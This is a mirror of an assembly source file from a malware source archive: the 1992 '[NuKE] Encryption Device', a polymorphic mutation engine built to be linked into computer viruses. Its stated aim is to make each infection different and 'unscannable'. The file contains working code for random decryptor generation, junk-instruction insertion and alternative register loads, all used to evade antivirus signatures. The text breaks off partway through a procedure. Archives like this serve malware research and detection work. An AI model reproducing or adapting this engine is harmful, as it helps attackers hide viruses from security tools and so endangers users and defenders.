mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
958 lines
34 KiB
NASM
958 lines
34 KiB
NASM
;******************************************************************************
|
|
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
|
|
;
|
|
; This product is not to be distributed to ANYONE without the complete and
|
|
; total agreement of both the author(s) and [NuKE]. This applies to all
|
|
; source code, executable code, documentation, and other files included in
|
|
; this package.
|
|
;
|
|
; Unless otherwise specifically stated, even the mere existance of this
|
|
; product is not to be mentioned to or discussed in any fashion with ANYONE,
|
|
; except with the author(s) and/or other [NuKE] members.
|
|
;
|
|
; WARNING: This product has been marked in such a way that, if an
|
|
; unauthorized copy is discovered ANYWHERE, the violation can be easily
|
|
; traced back to its source, who will be located and punished.
|
|
; YOU HAVE BEEN WARNED.
|
|
;******************************************************************************
|
|
|
|
|
|
;*******************************************************************************
|
|
; The [NuKE] Encryption Device v0.90á
|
|
;
|
|
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
|
|
; All Rights Reserved. Unauthorized use strictly prohibited.
|
|
;
|
|
;*******************************************************************************
|
|
; Written by Nowhere Man
|
|
; October 18, 1992
|
|
; Version 0.90á
|
|
;*******************************************************************************
|
|
;
|
|
; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
|
|
; engine, along the lines of Dark Avenger's now-famous MtE.
|
|
; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
|
|
; never be, either, since there is no reliable pattern between
|
|
; mutations, and the engine itself (and its RNG) are always
|
|
; kept encrypted.
|
|
;
|
|
; N.E.D. is easily be added to a virus. Every infection with
|
|
; that virus will henceforth be completely different from all
|
|
; others, and all will be unscannable, thanks to the Cryptex(C)
|
|
; polymorphic mutation algorithm.
|
|
;
|
|
; N.E.D. only adds about 15 or so bytes of decryption code
|
|
; (probably more, depending on which options are enabled), plus
|
|
; the 1355 byte overhead needed for the engine itself (about half
|
|
; the size of MtE!).
|
|
;*******************************************************************************
|
|
|
|
|
|
;*******************************************************************************
|
|
; Segment declarations
|
|
;*******************************************************************************
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
|
|
;*******************************************************************************
|
|
; Equates used to save three bytes of code (was it worth it?)
|
|
;*******************************************************************************
|
|
|
|
load_point equ si + _load_point - ned_start
|
|
encr_instr equ si + _encr_instr - ned_start
|
|
store_point equ si + _store_point - ned_start
|
|
|
|
buf_ptr equ si + _buf_ptr - ned_start
|
|
copy_len equ si + _copy_len - ned_start
|
|
copy_off equ si + _copy_off - ned_start
|
|
v_start equ si + _v_start - ned_start
|
|
options equ si + _options - ned_start
|
|
|
|
byte_word equ si + _byte_word - ned_start
|
|
up_down equ si + _up_down - ned_start
|
|
mem_reg equ si + _mem_reg - ned_start
|
|
loop_reg equ si + _loop_reg - ned_start
|
|
key_reg equ si + _key_reg - ned_start
|
|
|
|
mem_otr equ si + _mem_otr - ned_start
|
|
used_it equ si + _used_it - ned_start
|
|
jump_here equ si + _jump_here - ned_start
|
|
adj_here equ si + _adj_here - ned_start
|
|
|
|
word_adj_table equ si + _word_adj_table - ned_start
|
|
byte_adj_table equ si + _byte_adj_table - ned_start
|
|
|
|
the_key equ si + _the_key - ned_start
|
|
|
|
crypt_type equ si + _crypt_type - ned_start
|
|
op_byte equ si + _op_byte - ned_start
|
|
rev_op_byte equ si + _rev_op_byte - ned_start
|
|
modr_m equ si + _modr_m - ned_start
|
|
|
|
dummy_word_cmd equ si + _dummy_word_cmd - ned_start
|
|
dummy_three_cmd equ si + _dummy_three_cmd - ned_start
|
|
|
|
tmp_jmp_store equ si + _tmp_jmp_store - ned_start
|
|
jump_table equ si + _jump_table - ned_start
|
|
|
|
rand_val equ si + _rand_val - ned_start
|
|
|
|
|
|
;******************************************************************************
|
|
; Publics
|
|
;******************************************************************************
|
|
|
|
public nuke_enc_dev
|
|
public ned_end
|
|
|
|
|
|
|
|
;*******************************************************************************
|
|
; [NuKE] Encryption Device begins here....
|
|
;*******************************************************************************
|
|
|
|
ned_begin label near ; Start of the N.E.D.'s code
|
|
|
|
|
|
;******************************************************************************
|
|
; nuke_enc_dev
|
|
;
|
|
; This procedure merely calls ned_main.
|
|
;
|
|
; Arguments: Same as ned_main; this is a shell procedure
|
|
;
|
|
; Returns: Same as ned_main; this is a shell procedure
|
|
;******************************************************************************
|
|
|
|
nuke_enc_dev proc near
|
|
public nuke_enc_dev ; Name in .OBJs and .LIBs
|
|
|
|
push bx ;
|
|
push cx ;
|
|
push dx ; Preserve registers
|
|
push si ; (except for AX, which is
|
|
push di ; used to return something)
|
|
push bp ;
|
|
|
|
call ned_main ; Call the [NuKE] Encryption
|
|
; Device, in all it's splendor
|
|
|
|
pop bp ;
|
|
pop di ;
|
|
pop si ;
|
|
pop dx ; Restore registers
|
|
pop cx ;
|
|
pop bx ;
|
|
|
|
ret ; Return to the main virus
|
|
|
|
|
|
; This the copyright message (hey, I wrote the thing, so I can waste a few
|
|
; bytes bragging...).
|
|
|
|
copyright db 13,10
|
|
db "[NuKE] Encryption Device v0.90á",13,10
|
|
db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
|
|
nuke_enc_dev endp
|
|
|
|
|
|
;******************************************************************************
|
|
; ned_main
|
|
;
|
|
; Fills a buffer with a random decryption routine and encrypted viral code.
|
|
;
|
|
; Arguments: AX = offset of buffer to hold data
|
|
; BX = offset of code start
|
|
; CX = offset of the virus in memory (next time around!)
|
|
; DX = length of code to copy and encrypt
|
|
; SI = options:
|
|
; bit 0: dummy instructions
|
|
; bit 1: MOV variance
|
|
; bit 2: ADD/SUB substitution
|
|
; bit 3: garbage code
|
|
; bit 4: don't assume DS = CS
|
|
; bits 5-15: reserved
|
|
;
|
|
; Returns: AX = size of generated decryption routine and encrypted code
|
|
;******************************************************************************
|
|
|
|
ned_main proc near
|
|
mov di,si ; We'll need SI, so use DI
|
|
not di ; Reverse all bits for TESTs
|
|
|
|
call ned_start ; Ah, the old virus trick
|
|
ned_start: pop si ; for getting our offset...
|
|
|
|
mov word ptr [used_it],0 ; A truely hideous way to
|
|
mov word ptr [used_it + 2],0; reset the register usage
|
|
mov word ptr [used_it + 4],0; flags...
|
|
mov byte ptr [used_it + 6],0;
|
|
|
|
add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
|
|
|
|
mov word ptr [buf_ptr],ax ; Save the function
|
|
mov word ptr [copy_off],bx ; arguments in an
|
|
mov word ptr [v_start],cx ; internal buffer
|
|
mov word ptr [copy_len],dx ; for later use
|
|
mov word ptr [options],di ;
|
|
|
|
xchg di,ax ; Need the buffer offset in DI
|
|
|
|
mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
mov word ptr [byte_word],ax ; Save byte/word flag
|
|
|
|
mov ax,2 ; Select another random number
|
|
call rand_num ; between 0 and 1
|
|
xor ax,ax ; !!!!DELETE ME!!!!
|
|
mov word ptr [up_down],ax ; Save up/down flag
|
|
|
|
mov ax,4 ; Select a random number
|
|
call rand_num ; between 0 and 3
|
|
mov word ptr [mem_reg],ax ; Save memory register
|
|
xchg bx,ax ; Place in BX for indexing
|
|
shl bx,1 ; Convert to word index
|
|
mov bx,word ptr [mem_otr + bx] ; Get register number
|
|
inc byte ptr [used_it + bx] ; Cross off register
|
|
|
|
xor cx,cx ; We need a word register
|
|
call random_reg ; Get a random register
|
|
inc byte ptr [used_it + bx] ; Cross it off...
|
|
mov word ptr [loop_reg],ax ; Save loop register
|
|
|
|
mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
or ax,ax ; Does AX = 0?
|
|
je embedded_key ; If so, the key's embedded
|
|
mov cx,word ptr [byte_word] ; CX holds the byte word flag
|
|
neg cx ; By NEGating CX and adding one
|
|
inc cx ; CX will be flip-flopped
|
|
call random_reg ; Get a random register
|
|
inc byte ptr [used_it + bx] ; Cross it off...
|
|
mov word ptr [key_reg],ax ; Save key register
|
|
jmp short create_routine ; Ok, let's get to it!
|
|
embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
|
|
|
|
create_routine: call add_nop ; Add a do-nothing instruction?
|
|
mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
or ax,ax ; Does AX = 0?
|
|
je pointer_first ; If so, load pointer then count
|
|
call load_count ; Load start register
|
|
call add_nop ; Add a do-nothing instruction?
|
|
call load_pointer ; Load pointer register
|
|
jmp short else_end1 ; Skip the ELSE part
|
|
pointer_first: call load_pointer ; Load start register
|
|
call add_nop ; Add a do-nothing instruction?
|
|
call load_count ; Load count register
|
|
else_end1: call add_nop ; Add a do-nothing instruction?
|
|
call load_key ; Load encryption key
|
|
call add_nop ; Add a do-nothing instruction?
|
|
mov word ptr [jump_here],di ; Save the offset of the loop
|
|
call add_decrypt ; Create the decryption code
|
|
call add_nop ; Add a do-nothing instruction?
|
|
call adjust_ptr ; Adjust the memory pointer
|
|
call add_nop ; Add a do-nothing instruction?
|
|
call end_loop ; End the decryption loop
|
|
call random_fill ; Pad with random bullshit?
|
|
|
|
mov ax,di ; AX points to our current place
|
|
sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
|
|
|
|
mov bx,word ptr [adj_here] ; Find where we need to adjust
|
|
add word ptr [bx],ax ; Adjust the starting offset
|
|
|
|
add ax,word ptr [copy_len] ; Add length of encrypted code
|
|
push ax ; Save this for later
|
|
|
|
mov bx,word ptr [crypt_type]; BX holds encryption type
|
|
mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
|
|
mov bh,0D8h ; Fix a strange problem...
|
|
mov word ptr [encr_instr],bx; Save it into our routine
|
|
|
|
mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
|
|
cmp word ptr [byte_word],0 ; Are we doing it by bytes?
|
|
je final_byte_k ; If so, reset LODS/STOS stuff
|
|
mov byte ptr [load_point],0ADh ; Change it to a LODSW
|
|
mov byte ptr [store_point],0ABh ; Change it to a STOSW
|
|
shr cx,1 ; Do half as many repetitions
|
|
mov bx,word ptr [the_key] ; Reload the key
|
|
inc byte ptr [encr_instr] ; Fix up for words...
|
|
jmp short encrypt_virus ; Let's go!
|
|
final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
|
|
mov byte ptr [store_point],0AAh ; Change it to a STOSW
|
|
mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
|
|
|
|
encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
|
|
|
|
|
|
; This portion of the code is self-modifying. It may be bad style, but
|
|
; it's far more efficient than writing six or so different routines...
|
|
|
|
_load_point: lodsb ; Load a byte/word into AL
|
|
_encr_instr: xor al,bl ; Encrypt the byte/word
|
|
_store_point: stosb ; Store the byte/word at ES:[DI]
|
|
loop _load_point ; Repeat until all bytes done
|
|
|
|
; Ok, we're through... back to normal
|
|
|
|
|
|
pop ax ; AX holds routine length
|
|
|
|
ret ; Return to caller
|
|
|
|
_buf_ptr dw ? ; Pointer: storage buffer
|
|
_copy_len dw ? ; Integer: # bytes to copy
|
|
_copy_off dw ? ; Pointer: original code
|
|
_v_start dw ? ; Pointer: virus start in file
|
|
_options dw ? ; Integer: bits set options
|
|
|
|
_byte_word dw ? ; Boolean: 0 = byte, 1 = word
|
|
_up_down dw ? ; Boolean: 0 = up, 1 = down
|
|
_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
|
|
_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
|
|
_key_reg dw ? ; Integer: -1 = internal
|
|
|
|
_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
|
|
_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
|
|
_jump_here dw ? ; Pointer: Start of loop
|
|
_adj_here dw ? ; Pointer: Where to adjust
|
|
ned_main endp
|
|
|
|
|
|
;******************************************************************************
|
|
; load_count
|
|
;
|
|
; Adds code to load the count register, which stores the number of
|
|
; iterations that the decryption loop must make. if _byte_word = 0
|
|
; then this value is equal to the size of the code to be encrypted;
|
|
; if _byte_word = 1 (increment by words), it is half that length
|
|
; (since two bytes are decrypted at a time).
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
load_count proc near
|
|
mov bx,word ptr [loop_reg] ; BX holds register number
|
|
mov dx,word ptr [copy_len] ; DX holds size of virus
|
|
mov cx,word ptr [byte_word] ; Neat trick to divide by
|
|
shr dx,cl ; two if byte_word = 1
|
|
mov cx,1 ; We're doing a word register
|
|
call gen_mov ; Generate a move
|
|
ret ; Return to caller
|
|
|
|
_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
|
|
_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
|
|
load_count endp
|
|
|
|
|
|
;******************************************************************************
|
|
; load_pointer
|
|
;
|
|
; Adds code to load the pointer register, which points to the byte
|
|
; or word of memory that is to be encrypted. Due to the flaws of
|
|
; 8086 assembly language, only the SI, DI, BX, and BP registers may
|
|
; be used.
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;******************************************************************************
|
|
|
|
load_pointer proc near
|
|
mov bx,word ptr [mem_reg] ; BX holds register number
|
|
shl bx,1 ; Convert to word index
|
|
mov bx,word ptr [mem_otr + bx] ; Convert register number
|
|
mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
|
add al,0B8h ; Create a MOV instruction
|
|
stosb ; Store it in the code
|
|
mov word ptr [adj_here],di ; Save our current offset
|
|
mov ax,word ptr [v_start] ; AX points to virus (in host)
|
|
cmp word ptr [up_down],0 ; Are we going upwards?
|
|
je no_adjust ; If so, no ajustment needed
|
|
add ax,word ptr [copy_len] ; Point to end of virus
|
|
no_adjust: stosw ; Store the start offset
|
|
ret ; Return to caller
|
|
load_pointer endp
|
|
|
|
|
|
;******************************************************************************
|
|
; load_key
|
|
;
|
|
; Adds code to load the encryption key into a register. If _byte_word = 0
|
|
; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
|
|
; is supposed to be embedded, no code is generated at this point.
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
load_key proc near
|
|
mov ax,0FFFFh ; Select a random number
|
|
call rand_num ; between 0 and 65534
|
|
inc ax ; Eliminate any null keys
|
|
mov word ptr [the_key],ax ; Save key for later
|
|
mov bx,word ptr [key_reg] ; DX holds the register number
|
|
cmp bx,-1 ; Is the key embedded?
|
|
je blow_this_proc ; If so, just leave now
|
|
xchg dx,ax ; DX holds key
|
|
mov cx,word ptr [byte_word] ; CX holds byte/word flag
|
|
call gen_mov ; Load the key into the register
|
|
blow_this_proc: ret ; Return to caller
|
|
|
|
_the_key dw ? ; Integer: The encryption key
|
|
load_key endp
|
|
|
|
|
|
;******************************************************************************
|
|
; add_decrypt
|
|
;
|
|
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
|
|
; by either a byte or word register or a fixed byte or word.
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
add_decrypt proc near
|
|
test word ptr [options],010000b ; Do we need a CS: override
|
|
jne no_override ; If not, don't add it...
|
|
mov al,02Eh ; Store a code-segment
|
|
stosb ; override instruction (CS:)
|
|
no_override: mov ax,3 ; Select a random number
|
|
call rand_num ; between 0 and 2
|
|
mov word ptr [crypt_type],ax; Save encryption type
|
|
xchg bx,ax ; Now transfer it into BX
|
|
mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
|
|
cmp word ptr [key_reg],-1 ; Is the key embedded?
|
|
je second_case ; If so, it's a different story
|
|
|
|
add al,byte ptr [op_byte + bx] ; Adjust by operation type
|
|
stosb ; Place the byte in the code
|
|
|
|
mov ax,word ptr [mem_reg] ; AX holds register number
|
|
mov cl,3 ; To get the ModR/M table
|
|
shl ax,cl ; offset, multiply by eight
|
|
mov bx,word ptr [key_reg] ; BX holds key register number
|
|
cmp word ptr [byte_word],0 ; Is this a byte?
|
|
je byte_by_reg ; If so, special case
|
|
mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
|
|
jmp short store_it_now ; Now save the byte
|
|
byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
|
|
store_it_now: xor bh,bh ; Clear out any old data
|
|
add bx,ax ; Add the first index
|
|
mov al,byte ptr [modr_m + bx] ; Table look-up
|
|
stosb ; Save it into the code
|
|
cmp word ptr [mem_reg],3 ; Are we using BP?
|
|
jne a_d_exit1 ; If not, leave
|
|
xor al,al ; For some dumb reason we'll
|
|
stosb ; have to specify a 0 adjustment
|
|
a_d_exit1: ret ; Return to caller
|
|
|
|
|
|
second_case: add al,080h ; Create the first byte
|
|
stosb ; and store it in the code
|
|
|
|
mov al,byte ptr [op_byte + bx] ; Load up the OP byte
|
|
mov bx,word ptr [mem_reg] ; BX holds register number
|
|
mov cl,3 ; To get the ModR/M table
|
|
shl bx,cl ; offset, multiply by eight
|
|
add al,byte ptr [modr_m + bx] ; Add result of table look-up
|
|
stosb ; Save it into the code
|
|
cmp word ptr [mem_reg],3 ; Are we using BP?
|
|
jne store_key ; If not, store the key
|
|
xor al,al ; For some dumb reason we'll
|
|
stosb ; have to specify a 0 adjustment
|
|
store_key: cmp word ptr [byte_word],0 ; Is this a byte?
|
|
je byte_by_byte ; If so, special case
|
|
mov ax,word ptr [the_key] ; Load up *the key*
|
|
stosw ; Save the whole two bytes!
|
|
jmp short a_d_exit2 ; Let's split, man
|
|
byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
|
|
stosb ; Save it into the code
|
|
a_d_exit2: ret ; Return to caller
|
|
|
|
_crypt_type dw ? ; Integer: Type of encryption
|
|
_op_byte db 030h,000h,028h ; Array: OP byte of instruction
|
|
_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
|
|
_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
|
|
db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
|
|
db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
|
|
db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
|
|
add_decrypt endp
|
|
|
|
|
|
;******************************************************************************
|
|
; adjust_ptr
|
|
;
|
|
; Adds code to adjust the memory pointer. There are two possible choices:
|
|
; INC/DEC and ADD/SUB (inefficient, but provides variation).
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
adjust_ptr proc near
|
|
mov cx,word ptr [byte_word] ; CX holds byte/word flag
|
|
inc cx ; Increment; now # INCs/DECs
|
|
mov bx,word ptr [mem_reg] ; BX holds register number
|
|
shl bx,1 ; Convert to word index
|
|
mov bx,word ptr [mem_otr + bx] ; Convert register number
|
|
mov dx,word ptr [up_down] ; DX holds up/down flag
|
|
call gen_add_sub ; Create code to adjust pointer
|
|
ret ; Return to caller
|
|
adjust_ptr endp
|
|
|
|
|
|
;******************************************************************************
|
|
; end_loop
|
|
;
|
|
; Adds code to adjust the count variable, test to see if it's zero,
|
|
; and repeat the decryption loop if it is not. There are three possible
|
|
; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
|
|
; but provides variation), and DEC/JNE (best choice for non-CX registers).
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
end_loop proc near
|
|
mov bx,word ptr [loop_reg] ; BX holds register number
|
|
cmp bx,2 ; Are we using CX?
|
|
jne dec_jne ; If not, we can't use LOOP
|
|
mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
or ax,ax ; Does AX = 0?
|
|
jne dec_jne ; If not, standard ending
|
|
mov al,0E2h ; We'll do a LOOP instead
|
|
stosb ; Save the OP byte
|
|
jmp short store_jmp_loc ; Ok, now find the offset
|
|
dec_jne: mov cx,1 ; Only adjust by one
|
|
mov dx,1 ; We're subtracting...
|
|
call gen_add_sub ; Create code to adjust count
|
|
mov al,075h ; We'll do a JNE to save
|
|
stosb ; Store a JNE OP byte
|
|
store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
|
|
sub ax,di ; Adjust relative jump
|
|
dec ax ; Adjust by one (DI is off)
|
|
stosb ; Save the jump offset
|
|
ret ; Return to caller
|
|
end_loop endp
|
|
|
|
|
|
;******************************************************************************
|
|
; add_nop
|
|
;
|
|
; Adds between 0 and 3 do-nothing instructions to the code, if they are
|
|
; allowed by the user (bit 0 set).
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
add_nop proc near
|
|
push ax ; Save AX
|
|
push bx ; Save BX
|
|
push cx ; Save CX
|
|
|
|
test word ptr [options],0001b; Are we allowing these?
|
|
jne outta_here ; If not, don't add 'em
|
|
mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
or ax,ax ; Does AX = 0?
|
|
je outta_here ; If so, don't add any NOPs...
|
|
mov ax,4 ; Select a random number
|
|
call rand_num ; between 0 and 3
|
|
xchg cx,ax ; CX holds repetitions
|
|
jcxz outta_here ; CX = 0? Split...
|
|
add_nop_loop: mov ax,4 ; Select a random number
|
|
call rand_num ; between 0 and 3
|
|
or ax,ax ; Does AX = 0?
|
|
je two_byter ; If so, a two-byte instruction
|
|
cmp ax,1 ; Does AX = 1?
|
|
je three_byter ; If so, a three-byte instruction
|
|
mov al,090h ; We'll do a NOP instead
|
|
stosb ; Store it in the code
|
|
jmp short loop_point ; Complete the loop
|
|
two_byter: mov ax,34 ; Select a random number
|
|
call rand_num ; between 0 and 33
|
|
xchg bx,ax ; Place in BX for indexing
|
|
shl bx,1 ; Convert to word index
|
|
mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
|
|
stosw ; Save it in the code...
|
|
jmp short loop_point ; Complete the loop
|
|
three_byter: mov ax,16 ; Select a random number
|
|
call rand_num ; between 0 and 15
|
|
mov bx,ax ; Place in BX for indexing
|
|
shl bx,1 ; Convert to word index
|
|
add bx,ax ; Add back value (BX = BX * 3)
|
|
mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
|
|
stosw ; Save it in the code...
|
|
mov al,byte ptr [dummy_three_cmd + bx + 2]
|
|
stosb ; Save the final byte, too
|
|
loop_point: loop add_nop_loop ; Repeat 0-2 more times
|
|
outta_here: pop cx ; Restore CX
|
|
pop bx ; Restore BX
|
|
pop ax ; Restore AX
|
|
ret ; Return to caller
|
|
|
|
_dummy_word_cmd: ; Useless instructions,
|
|
; two bytes each
|
|
mov ax,ax
|
|
mov bx,bx
|
|
mov cx,cx
|
|
mov dx,dx
|
|
mov si,si
|
|
mov di,di
|
|
mov bp,bp
|
|
xchg bx,bx
|
|
xchg cx,cx
|
|
xchg dx,dx
|
|
xchg si,si
|
|
xchg di,di
|
|
xchg bp,bp
|
|
nop
|
|
nop
|
|
inc ax
|
|
dec ax
|
|
inc bx
|
|
dec bx
|
|
inc cx
|
|
dec cx
|
|
inc dx
|
|
dec dx
|
|
inc si
|
|
dec si
|
|
inc di
|
|
dec di
|
|
inc bp
|
|
dec bp
|
|
cmc
|
|
cmc
|
|
jmp short $ + 2
|
|
je $ + 2
|
|
jne $ + 2
|
|
jg $ + 2
|
|
jge $ + 2
|
|
jl $ + 2
|
|
jle $ + 2
|
|
jo $ + 2
|
|
jpe $ + 2
|
|
jpo $ + 2
|
|
js $ + 2
|
|
jcxz $ + 2
|
|
|
|
|
|
_dummy_three_cmd: ; Useless instructions,
|
|
; three bytes each
|
|
xor ax,0
|
|
or ax,0
|
|
add ax,0
|
|
add bx,0
|
|
add cx,0
|
|
add dx,0
|
|
add si,0
|
|
add di,0
|
|
add bp,0
|
|
sub ax,0
|
|
sub bx,0
|
|
sub cx,0
|
|
sub dx,0
|
|
sub si,0
|
|
sub di,0
|
|
sub bp,0
|
|
add_nop endp
|
|
|
|
|
|
;******************************************************************************
|
|
; gen_mov
|
|
;
|
|
; Adds code to load a register with a value. If MOV variance is enabled,
|
|
; inefficient, sometimes strange, methods may be used; if it is disabled,
|
|
; a standard MOV is used (wow). Various alternate load methods include
|
|
; loading a larger value then subtracting the difference, loading a
|
|
; smaller value the adding the difference, loading an XORd value then
|
|
; XORing it by a key that will correct the difference, loading an incorrect
|
|
; value and NEGating or NOTing it to correctness, and loading a false
|
|
; value then loading the correct one.
|
|
;
|
|
; Arguments: BX = register number
|
|
; CX = 0 for byte register, 1 for word register
|
|
; DX = value to store
|
|
; SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
gen_mov proc
|
|
test word ptr [options],0010b; Do we allow wierd moves?
|
|
je quick_fixup ; If so, short jump over JMP
|
|
jmp make_mov ; If not, standard MOV
|
|
quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
|
|
mov bl,byte ptr [word_adj_table + bx] ; Table look-up
|
|
jmp short get_rnd_num ; Ok, get a random number now
|
|
byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
|
|
get_rnd_num: mov ax,7 ; Select a random number
|
|
call rand_num ; between 0 and 6
|
|
shl ax,1 ; Convert AX into word index
|
|
lea bp,word ptr [jump_table] ; BP points to jump table
|
|
add bp,ax ; BP now points to the offset
|
|
mov ax,word ptr [bp] ; AX holds the jump offset
|
|
add ax,si ; Adjust by our own offset
|
|
mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
|
|
mov ax,0FFFFh ; Select a random number
|
|
call rand_num ; between 0 and 65564
|
|
xchg bp,ax ; Place random number in BP
|
|
jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
|
|
load_move: xchg dx,bp ; Swap DX and BP
|
|
call make_mov ; Load BP (random) in register
|
|
call add_nop ; Add a do-nothing instruction?
|
|
xchg dx,bp ; DX now holds real value
|
|
jmp short make_mov ; Load real value in reigster
|
|
load_sub: add dx,bp ; Add random value to load value
|
|
call make_mov ; Create a MOV instruction
|
|
call add_nop ; Add a do-nothing instruction?
|
|
mov ah,0E8h ; We're doing a SUB
|
|
jmp short make_add_sub ; Create the SUB instruction
|
|
load_add: sub dx,bp ; Sub. random from load value
|
|
call make_mov ; Create a MOV instruction
|
|
call add_nop ; Add a do-nothing instruction?
|
|
mov ah,0C0h ; We're doing an ADD
|
|
jmp short make_add_sub ; Create the ADD instruction
|
|
load_xor: xor dx,bp ; XOR load value by random
|
|
call make_mov ; Create a MOV instruction
|
|
call add_nop ; Add a do-nothing instruction?
|
|
mov ah,0F0h ; We're doing an XOR
|
|
jmp short make_add_sub ; Create the XOR instruction
|
|
load_not: not dx ; Two's-compliment DX
|
|
call make_mov ; Create a MOV instruction
|
|
call add_nop ; Add a do-nothing instruction?
|
|
load_not2: mov al,0F6h ; We're doing a NOT/NEG
|
|
add al,cl ; If it's a word, add one
|
|
stosb ; Store the byte
|
|
mov al,0D0h ; Initialize the ModR/M byte
|
|
add al,bl ; Add back the register info
|
|
stosb ; Store the byte
|
|
ret ; Return to caller
|
|
load_neg: neg dx ; One's-compliment DX
|
|
call make_mov ; Create a MOV instruction
|
|
add bl,08h ; Change the NOT into a NEG
|
|
jmp short load_not2 ; Reuse the above code
|
|
|
|
make_mov: mov al,0B0h ; Assume it's a byte for now
|
|
add al,bl ; Adjust by register ModR/M
|
|
jcxz store_mov ; If we're doing a byte, go on
|
|
add al,008h ; Otherwise, adjust for word
|
|
store_mov: stosb ; Store the OP byte
|
|
mov ax,dx ; AX holds the load value
|
|
put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
|
|
stosw ; Otherwise store a whole word
|
|
ret ; Return to caller
|
|
store_byte: stosb ; Store the byte in the code
|
|
ret ; Return to caller
|
|
|
|
make_add_sub: mov al,080h ; Create the OP byte
|
|
add al,cl ; If it's a word, add one
|
|
stosb ; Store the byte
|
|
mov al,ah ; AL now holds ModR/M byte
|
|
add al,bl ; Add back the register ModR/M
|
|
stosb ; Store the byte in the code
|
|
xchg bp,ax ; AX holds the ADD/SUB value
|
|
jmp short put_byte_or_wd ; Reuse the above code
|
|
|
|
_tmp_jmp_store dw ? ; Pointer: temp. storage
|
|
_jump_table dw load_sub - ned_start, load_add - ned_start
|
|
dw load_xor - ned_start, load_not - ned_start
|
|
dw load_neg - ned_start, load_move - ned_start
|
|
dw make_mov - ned_start
|
|
gen_mov endp
|
|
|
|
|
|
;******************************************************************************
|
|
; gen_add_sub
|
|
;
|
|
; Adds code to adjust a register either up or down. A random combination
|
|
; of ADD/SUBs and INC/DECs is used to increase code variability. Note
|
|
; that this procedure will only work on *word* registers; attempts to
|
|
; use this procedure for byte registers (AH, AL, etc.) may result in
|
|
; invalid code being generated.
|
|
;
|
|
; Arguments: BX = ModR/M table offset for register
|
|
; CX = Number to be added/subtracted from the register
|
|
; DX = 0 for addition, 1 for subtraction
|
|
; SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
gen_add_sub proc near
|
|
jcxz exit_g_a_s ; Exit if there's no adjustment
|
|
add_sub_loop: call add_nop ; Add a do-nothing instruction?
|
|
cmp cx,3 ; Have to adjust > 3 bytes?
|
|
ja use_add_sub ; If so, no way we use INC/DEC!
|
|
test word ptr [options],0100b; Are ADD/SUBs allowed?
|
|
